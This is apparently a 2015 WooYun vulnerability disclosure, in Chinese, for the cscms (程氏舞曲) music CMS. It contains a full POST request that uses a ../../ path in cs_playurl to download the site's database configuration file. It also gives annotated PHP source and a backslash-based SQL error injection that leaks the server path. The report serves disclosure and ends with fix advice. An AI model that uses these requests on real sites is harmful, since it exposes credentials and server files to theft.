当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105227

漏洞标题:程氏舞曲 任意文件下载与设计缺陷

相关厂商:chshcms.com

漏洞作者: xiaoL

提交时间:2015-04-01 16:20

修复时间:2015-07-05 16:23

公开时间:2015-07-05 16:23

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-01: 细节已通知厂商并且等待厂商处理中
2015-04-06: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-31: 细节向核心白帽子及相关领域专家公开
2015-06-10: 细节向普通白帽子公开
2015-06-20: 细节向实习白帽子公开
2015-07-05: 细节向公众公开

简要描述:

有利用条件!烦。

详细说明:

利用条件:
1、cms设置使用本机物理路径,就是上传文件存在本机服务器上。
2、后台关闭审核功能,或者通过审核。
条件1比较好达到,一般都在本机上。
条件2需要精心构造一下。
漏洞页面:
user/music.php
add_save()函数用来上传歌曲的,这里提交数据包。

cs_name=%E6%B5%8B%E8%AF%95%E7%9A%84%E6%AD%8C%E6%9B%B2&cs_pic=20150401%2F253a23059b45f692bb48515d0efa6c95.jpg&cs_cid=1&cs_tid=0&cs_tags=%E6%8A%92%E6%83%85%2C%E5%A5%BD%E5%90%AC%2C%E6%84%9F%E5%8A%A8&cs_cion=0&cs_singer=&gslist=1&zm=B&cs_singerid=&cs_content=%E5%B0%B1%E6%98%AF%E8%A6%81%E5%85%8D%E8%B4%B9%E5%95%8A%EF%BC%81&cs_playurl=../../wamp/www/csdj/lib/Cs_DB.php&cs_dx=&cs_yz=&cs_sc=&token=665a3d28075f8ed1476afa1d0948ff7a


注意里面的cs_playurl字段,一个目录跳转。这里没有任何限制。
通过了审核,或者自动审核的。不管- -
下载漏洞文件:
app\controllers\dance.php

//数据下载页面
public function download()
{
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
$this->load->model('CsdjUser');
$sid = $this->uri->segment(3); //方式,试听,下载
$type = intval($this->uri->segment(4)); //类型,普通,讯雷
$id = intval($this->uri->segment(5)); //ID //CI 根据URL来取得歌曲ID ,就是自己上传的
if(empty($sid)) $sid=='d';
if(empty($type)) $type==1;
if($id==0){ //保证存在
exit($this->CsdjSkins->Msg_url('出错了,ID不能为空!',Web_Path));
}
if($this->session->userdata('cs_id')){ //要求登录状态
$uid=$this->session->userdata('cs_id');
}else{
$uid=0;
}
if($this->session->userdata('cs_name')){ //要求登录状态
$user=$this->session->userdata('cs_name');
}else{
$user='';
}

if($this->CsdjUser->User_Login(1)){ //要求登录状态
exit($this->CsdjSkins->Msg_url('出错了,请先登入后在下载!',site_url("user/login")));
}else{
$rowu=$this->CsdjDB->get_select('user','CS_ID','CS_Vip,CS_Cion',$uid);
$vip=$rowu[0]->CS_Vip;
$cion=$rowu[0]->CS_Cion;
}
$row=$this->CsdjDB->get_select('dance','CS_ID','*',''.$id.'');
if(!$row){
exit($this->CsdjSkins->Msg_url('抱歉,该歌曲不存在!',Web_Path));
}
if($row[0]->CS_YID==1){ //这就要求是审核的
exit($this->CsdjSkins->Msg_url('抱歉,该歌曲还没有审核!',Web_Path));
}
$name=$row[0]->CS_Name; //下面这些没有关系-------------------
$cid=$row[0]->CS_CID;
$djuser=$row[0]->CS_User;
$scion=$row[0]->CS_Scion;
$purl=$row[0]->CS_PlayUrl;
$durl=$durls=$row[0]->CS_DownUrl1; //获取了之前上传的路径
$durl2=$durl2s=$row[0]->CS_DownUrl2;
$fid=$row[0]->CS_FID;
$dancehz=substr($durl,-4);
if(FTP_Fun==1 && $row[0]->CS_FID==0){ //远程附件
$purl=FTP_Url.$row[0]->CS_PlayUrl;
$durl=FTP_Url.$row[0]->CS_DownUrl1;
}else{
$purl=$this->CsdjSkins->playqurl($row[0]->CS_PlayUrl,$row[0]->CS_FID,1);
$durl=$this->CsdjSkins->playqurl($row[0]->CS_DownUrl1,$row[0]->CS_FID,2);
}
$rowd=$this->db->query("SELECT CS_ID FROM ".CS_SqlPrefix."down where cs_did='".$id."' and cs_user='".$user."'")->row();
//判断下载时间、低音质不判断 这些不管
if(($sid=='d' && $row[0]->CS_Cion>0) || $row[0]->CS_Vip>0){

//判断级别
if($row[0]->CS_Vip>$vip){
exit($this->CsdjSkins->Msg_url('抱歉,您的级别不够下载该首歌曲,请先升级!',site_url("user/pay/vip/")));
}
//判断级别权限
if($vip>0){
$sqlz="SELECT * FROM ".CS_SqlPrefix."userzu where cs_id=".$vip."";
$rowz=$this->CsdjDB->get_all($sqlz);
if(!$rowz){
exit($this->CsdjSkins->Msg_url('出错了,该会员组不存在!',site_url("user/pay/vip")));
}else{
if($this->CsdjSkins->Getqx('dance_'.$cid,$rowz[0]->CS_Quanx)!='ok'){
exit($this->CsdjSkins->Msg_url('抱歉,您所在的会员组不能下载该分类歌曲!',site_url("user/pay/vip")));
}
}
}
//扣除点数,VIP会员跳过
if($vip==0){
$downtime=3600*User_Downtime+strtotime($rowd->CS_AddTime);
if(!$rowd || $downtime<time()){
//判断点数
if($row[0]->CS_Cion>$cion){
exit($this->CsdjSkins->Msg_url('抱歉,您的点数不够下载该首歌曲,请先充值!',site_url("user/pay/")));
}
$us['CS_Cion'] = $cion-$row[0]->CS_Cion;
$this->CsdjDB->get_update ('user',$uid,$us);
$downsj['down_'.$id.'_time']=date("Y-m-d H:i:s");
$this->session->set_userdata($downsj);
}
}
//判断是否分成
if(User_DownFun==1 && $vip==0){
if($scion==0){
$fcbl=User_Downcion/100;
$scion=intval($row[0]->CS_Cion*$fcbl);
}
//分成点数
$djuid = $this->CsdjSkins->getuser('id','',$djuser);
$fc['CS_Cion'] = $this->CsdjSkins->getuser('cion','',$djuser)+$scion;
$this->CsdjDB->get_update('user',$djuid,$fc);
}
}
if($user && !$rowd){ //没有此歌曲记录
if(empty($row[0]->CS_Cion)) $row[0]->CS_Cion=0;
//写入下载记录
$down['CS_User'] = $user;
$down['CS_CID'] = $cid;
$down['CS_DID'] = $id;
$down['CS_Ip'] = $this->CsdjSkins->GetIP();
if($vip==0){
$down['CS_Cion'] = $row[0]->CS_Cion;
}
$down['CS_Name'] = $name;
$down['CS_AddTime'] = date('Y-m-d H:i:s');
$this->CsdjDB->get_insert ('down',$down);
//写入动态
$dt['CS_CID']=7;
$dt['CS_DID']=$id;
$dt['CS_YID']=0;
$dt['CS_User']=$this->session->userdata('cs_name');
$dt['CS_Title']=$name;
$dt['CS_AddTime']=date('Y-m-d H:i:s');
$this->CsdjDB->get_insert('dt',$dt);
}
//上面这些没有关系-------------------

//增加下载次数
$dance['CS_Xhits'] = $row[0]->CS_Xhits+1;
$this->CsdjDB->get_update ('dance',$id,$dance);
if(empty($durl)){
$durl=$durl2; //当下载地址为空时,启用备用下载地址
$durls=$durl2s;
}
if($sid=='p') $durl=$purl; //下载低音质
if($type==2){ //讯雷下载
//讯雷下载开始
if(substr($durl,0,7)!="http://") $durl="http://".Web_Url.Web_Path.$durl;
$DownUrl=base64_encode("AA".$durl."ZZ");
$thunderUrl="thunder://".$DownUrl;
$thunderID=User_thunderID; //这个是讯雷联盟ID号
echo "<script src='http://pstatic.xunlei.com/js/webThunderDetect.js'></script>";
echo "<script>OnDownloadClick('".$thunderUrl."','',location.href,'".$thunderID."',false)</script>";
exit();
}
//这个过滤有问题,使用../../就可以绕过了
$durl=str_replace("\\","",$durl);
//判断开启物理路径
if(User_DirFun==1){
//这个默认是关闭的
if (!file_exists(User_Dirpath.$durls)){
header("Location: ".$durl); //连接下载
exit();
}else{
//漏洞触发了
$this->load->helper('download');
$data = file_get_contents(User_Dirpath.$durls); // 读文件内容
force_download($name.$dancehz, $data); //下载
}
die();
}else{
header("Location: ".$durl);
die();
}
}


因此简单构造就可以下载了。

漏洞证明:

使用刚才的方式上传一个歌曲,通过。

11111.png


登录状态访问链接,OK。

2222.png


3333.png


现在问题又来了,我怎么知道绝对路径在哪里呢- -
这就涉及一个设计上缺陷问题。由于之前cscms被人审的多了,开发重写了CI的input.php文件为MY_Input.php文件。
MY_Input.php在输入的时候使用了get_post()函数,会经过safe()函数过滤sql注入。
但是在重载的时候没有重写get与post这两个函数,导致其不会经过MY_Input.php中的safe文件,因此不会进行默认的sql注入过滤,仅有一次xss_clean。
代码不贴了。
因此我们目前就是去找一个使用$this->input->post('xxx',true);
又没有经过内置的escape函数的点。
很幸运找到了几个。
locoy.php 存在爆路径
home.php 存在爆路径
user/music.php 存在爆路径
拿一个举例。
user/music.php

public function add_save()
{
$music['cs_name']=strip_tags($this->input->post('cs_name', TRUE)); //名称
$music['cs_cid']=intval($this->input->post('cs_cid', TRUE)); //分类
$music['cs_tid']=intval($this->input->post('cs_tid', TRUE)); //专集
$music['cs_tags']=strip_tags($this->input->post('cs_tags', TRUE)); //关键词
$music['cs_cion']=intval($this->input->post('cs_cion', TRUE)); //金币
$music['cs_singerid']=intval($this->input->post('cs_singerid', TRUE)); //歌手
$music['cs_singer']=trim($this->CsdjSkins->uhtml($this->input->post('cs_singer', TRUE))); //歌手 //这个位置使用post函数获取数据,使用TRUE进行XSS_CLEAN。
$music['cs_content']=$this->CsdjSkins->uhtml($this->input->post('cs_content')); //歌词/介绍
$music['cs_playurl']=$this->CsdjSkins->str_checkhtml($this->input->post('cs_playurl', TRUE)); //播放地址
$music['cs_dx']=$this->CsdjSkins->str_checkhtml($this->input->post('cs_dx', TRUE)); //歌曲大小
$music['cs_yz']=$this->CsdjSkins->str_checkhtml($this->input->post('cs_yz', TRUE)); //歌曲音质
$music['cs_sc']=$this->CsdjSkins->str_checkhtml($this->input->post('cs_sc', TRUE)); //歌曲时长
$music['cs_pic']=$this->CsdjSkins->str_checkhtml($this->input->post('cs_pic', TRUE)); //歌曲图片
//token check
$token=$this->input->post('token', TRUE);
if(!$this->session->userdata('token') || $token!=$this->session->userdata('token')) $this->CsdjSkins->Msg_url('非法提交数据!','javascript:history.back();');
if(empty($music['cs_name'])) $this->CsdjSkins->Msg_url('歌曲名称不能为空!','javascript:history.back();');
if(empty($music['cs_cid']) || $music['cs_cid']==0) $this->CsdjSkins->Msg_url('请选择歌曲分类!','javascript:history.back();');
if(empty($music['cs_playurl'])) $this->CsdjSkins->Msg_url('请选上传歌曲!','javascript:history.back();');
if($music['cs_singerid']>0){ //判断歌手
$sql="SELECT CS_Name FROM ".CS_SqlPrefix."singer where cs_id=".$music['cs_singerid']."";
$row=$this->CsdjDB->get_all($sql);
if(!$row){
$music['cs_singerid']=0;
}else{
$music['cs_singer']=$row[0]->CS_Name;
}
}else{ //自定义歌手
$sql="SELECT CS_ID FROM ".CS_SqlPrefix."singer where cs_name='".$music['cs_singer']."'"; //这个位置直接带入了,可以用来报错了。
$row=$this->CsdjDB->get_all($sql);
if($row){
$music['cs_singerid']=$row[0]->CS_ID;
}else{


由于xss_clean处理了单引号,但是没有处理\ ,导致了可以报错。
一直想拿一个双变量的来注入,就是找不到。
还是刚才的post数据包:

6666.png


成功爆了路径。

修复方案:

防止跳转目录
修改一下输入函数
两个问题合并了。- -

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-05 16:23

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无